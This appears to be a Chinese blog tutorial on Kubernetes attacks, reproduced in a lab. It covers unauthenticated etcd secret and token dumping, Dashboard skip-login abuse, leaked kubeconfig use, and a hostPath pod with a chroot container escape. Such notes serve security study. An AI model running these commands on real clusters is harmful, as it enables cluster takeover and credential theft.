Day98:云上攻防-云原生篇K8s安全Config泄漏Etcd存储Dashboard鉴权Proxy暴露

news2024/12/25 22:40:59

目录

云原生-K8s安全-etcd(Master-数据库)未授权访问

etcdV2版本利用

etcdV3版本利用

云原生-K8s安全-Dashboard(Master-web面板)未授权访问

云原生-K8s安全-Configfile鉴权文件泄漏

云原生-K8s安全-Kubectl Proxy不安全配置


知识点:

1、云原生-K8s安全-etcd未授权访问

2、云原生-K8s安全-Dashboard未授权访问

3、云原生-K8s安全-Configfile鉴权文件泄漏

4、云原生-K8s安全-Kubectl Proxy不安全配置

云原生-K8s安全-etcd(Master-数据库)未授权访问

实战中不会常见,利用条件比较苛刻。

默认通过证书认证,起一个数据库作用。主要存放节点的数据,如一些token和证书。

攻击23791端口

配置映射:

/etc/kubernetes/manifests/etcd.yaml

第一种(满足):在安装etcd时,没有配置指定--client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。暴露外部可以访问,直接未授权访问获取secrets和token利用

重启kubelet进程

systemctl restart kubelet

第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。只能本地访问,直接未授权访问获取secrets和token利用

第三种(满足):实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。只能本地访问,利用ssrf或其他进行获取secrets和token利用

复现搭建

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

复现利用:etcdV2/V3版本利用参考:

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

https://www.wangan.com/p/7fy7f81f02d9563a

暴露etcd未授权->获取secrets&token->通过token访问API-Server接管

etcdV2版本利用

直接访问http://ip:2379/v2/keys/?recursive=true ,可以看到所有的key-value值。(secrets token)

etcdV3版本利用

安装etcdctl:https://github.com/etcd-io/etcd/releases

安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

1、连接提交测试

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"

./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"

2、获取k8s的secrets

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/

3、读取service account token

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

4、通过token访问API-Server,获取集群的权限

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管

云原生-K8s安全-Dashboard(Master-web面板)未授权访问

默认端口:8001(一般会被映射成别的端口)

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况:

  1. 一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
  2. 另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。

复现利用

前提条件:

  1. 用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
  2. Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)

1、安装

https://blog.csdn.net/justlpf/article/details/130718774

2、启动

kubectl create -f recommended.yaml 

3、卸载

kubectl delete -f recommended.yaml

4、查看状态

kubectl get pod,svc -n kubernetes-dashboard

5、利用:新增Pod后续同前面利用一致

apiVersion: v1
kind: Pod
metadata:
  name: xiaodisec
spec:
  containers:
  - image: nginx
    name: xiaodisec
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸
 

云原生-K8s安全-Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。

如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存
在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:

  • 如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
  • 如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
  • 如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config

复现利用:K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

1、将获取到的config复制

2、安装kubectl使用config连接

安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

连接:

kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

3、上传利用test.yaml创建pod

kubectl apply -f test.yaml -n default --kubeconfig=config

4、连接pod后进行容器挂载逃逸

kubectl exec -it xiaodisec bash -n default --kubeconfig=config

cd /mnt
chroot . bash

云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy

使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009  

复现利用:类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案

kubectl -s http://192.168.139.130:8009 get pods -n kube-system

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1590076.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Failure Unable to retrieve image details-解决Portainer与Docker v26不兼容问题

文章目录 前言解决过程解决方法一解决方法二 前言 今天登上服务器习惯性的升级了yum软件包,结果这一更新后导致Portainer不能正常使用,后续进行成功解决,简单记录一下 解决过程 事故过程模拟 当时顺手升级下docker版本(V26.0.1) 结果Porta…

OpenHarmony南向之编译构建框架

title: OpenHarmony南向之编译构建框架 categories:- OpenHarmony tags:- Ninja- GN author: shell cover: /img/oh/build_framework_ZN.png date: 2024-01-03 21:05:38概述 OpenHarmony编译子系统是以GN和Ninja构建为基座,对构建和配置粒度进行部件化抽象、对内建…

智能售货机:引领便捷生活

智能售货机:引领便捷生活 在这个科技迅速进步的时代,便捷已成为生活的必需。智能售货机作为技术与便利完美结合的产物,正逐渐改变我们的购物方式,为都市生活增添新的活力。 智能售货机的主要优势是它的极致便利性。不论是在地铁…

局域网管理软件哪个好?局域网电脑管理系统实践案例

之前有一个公司案例,是这样的: 公司名称:智慧科技有限公司 背景: 智慧科技有限公司是一家拥有数百名员工的中型企业,随着业务的快速发展,公司面临着网络管理上的挑战。 员工在日常工作中需要频繁地访问…

ChatGPT加持,需求分析再无难题

简介 在实际工作过程中,常常需要拿到产品的PRD文档或者原型图进行需求分析,为产品的功能设计和优化提供建议。 而使用ChatGPT可以很好的帮助分析和整理用户需求。 实践演练 接下来,需要使用ChatGPT 辅助我们完成需求分析的任务 注意&…

车载平板丨车载终端丨车载平板电脑前景如何?

随着人们对车辆安全性和稳定性的关注日益增加,车载加固终端市场前景非常广阔。根据市场研究机构的数据显示,全球车载加固终端市场规模将在未来几年内快速增长。预计到2025年,全球车载加固终端市场规模将达到约55亿美元,年复合增长…

数字IC/FPGA——锁存器/触发器/寄存器

本文主要介绍以下几点: 什么是触发器和锁存器门电路和触发器的区别什么是电平钟控触发器电平钟控触发器触发器和锁存器的区别触发器的分类方式:逻辑功能、触发方式、电路结构、存储数据原理、构成触发器的基本器件寄存器利用移位寄存器实现串并转换或并…

npm问题合集以及npm常规操作整理

问题一:npm install 卡在“sill idealTree buildDeps“ 可以尝试将网络切换为其他网络,我的是这么解决的。可以尝试重新设置镜像。 问题二:npm install 项目依赖报WARN deprecated 原因 依赖版本问题,下载最新版本。 解决方案 …

科研学习|可视化——Origin绘制相关性系数矩阵

一、Origin软件版本 Origin2021版本 二、插件下载地址 CorrelationPlot.opx资源-CSDN文库 三、插件安装步骤 从上述链接下载插件将插件解压缩(最好是解压缩到orgin的安装目录)用origin打开插件(或者打开origin,将插件拖拽到origin…

SPI 机制

一、简述 本文介绍 SPI 机制。 二、什么是 SPI 机制 SPI(Service Provider Interface)机制是 Java 编程语言中的一种机制,用于实现组件之间的解耦和扩展。SPI 允许开发者编写服务接口(Service Interface)&#xff0…

开源无需授权2024最新同城上门预约家政按摩小程序+公众号H5+APP源码系统下载

2024最新同城上门预约家政按摩源码简介: 开源无需授权2024最新同城上门预约家政按摩小程序+公众号H5+APP源码系统下载,前端采用uni-app开发, 后端thinkphp框架开发。适配多端(小程序+公众号H5&…

吴恩达2022机器学习专项课程(一) 5.9 特征工程 5.10 多项式回归

问题预览/关键词 特征工程的重要性什么是特征工程?什么是多项式回归?特征缩放对多项式回归的重要性特征的选择 笔记 1.特征工程的重要性 选择或输入合适的特征,是让算法正常工作的关键步骤之一。 2.特征工程 根据应用场景,运…

.NET SignalR Redis实时Web应用

环境 Win10 VS2022 .NET8 Docker Redis 前言 什么是 SignalR? ASP.NET Core SignalR 是一个开放源代码库,可用于简化向应用添加实时 Web 功能。 实时 Web 功能使服务器端代码能够将内容推送到客户端。 适合 SignalR 的候选项: 需要从服…

Qotom Q720G5英特尔赛扬处理器N4000高性价比无风扇迷你电脑5网口软路由防火墙

在数字时代,迷你电脑已经成为高效、灵活的解决方案,无论是个人用户还是企业用户,都能从中受益。Qotom Q720G5 无风扇迷你电脑就是这样一款强大的选择,它不仅可以作为软路由、防火墙和路由器,还有着更多的潜力等待发掘。…

Nginx转发请求错误

说明:记录一次使用Nginx转发请求的错误; 场景 公司内部有两台服务器都跑了后端项目,在使用Nginx做请求分发时,我发现其中有台服务器一直没有处理请求(没打印相关的日志信息),于是我修改了下Ng…

GGUF类型模型文件

在HuggingFace上,我们时不时就会看到GGUF后缀的模型文件,它是如何来的?有啥特点? https://huggingface.co/TheBloke/Llama-2-7B-Chat-GGUF GGUF 由来 Georgi Gerganov(https://github.com/ggerganov)是著…

线性代数

标量、向量、张量 标量占据的是零维空间向量占据的是一维数据,例如语音信号矩阵占据的是二维数组,例如灰度图像张量占据的是三维乃至更高维的数组,例如RGB图像和视频 内积(点乘)概述 内积(inner product) 计算的则是两个向量之间的关系 两…

【读点论文】Segment Anything,视觉界的GPT,可以通过Prompt完成图像实体理解的视觉基础大模型,处理零样本任务

Segment Anything Abstract 我们介绍了Segment Anything(SA)项目:一种用于图像分割的新任务、模型和数据集。在数据收集循环中使用我们的高效模型,我们构建了迄今为止(迄今为止)最大的分割数据集&#xf…

QA测试开发工程师面试题满分问答11: web前端页面视频组件无法播放如何定位bug

当 web 前端页面的视频组件无法播放时,可以从以下维度进行分析和定位可能的 bug,分析维度包括但不限于:前端功能点、缓存、异常、后端功能点、资源占用、并发、网络等: 前端功能点: HTML5 视频支持:检查视频…

openstack之neutron介绍

核心组件 neutron-server:提供API接口,把对应的api请求传给plugin进; neutron-plugin:管理逻辑网络状态,调用agent; neutron-agent:在provider network上创建网络对象; neutron-…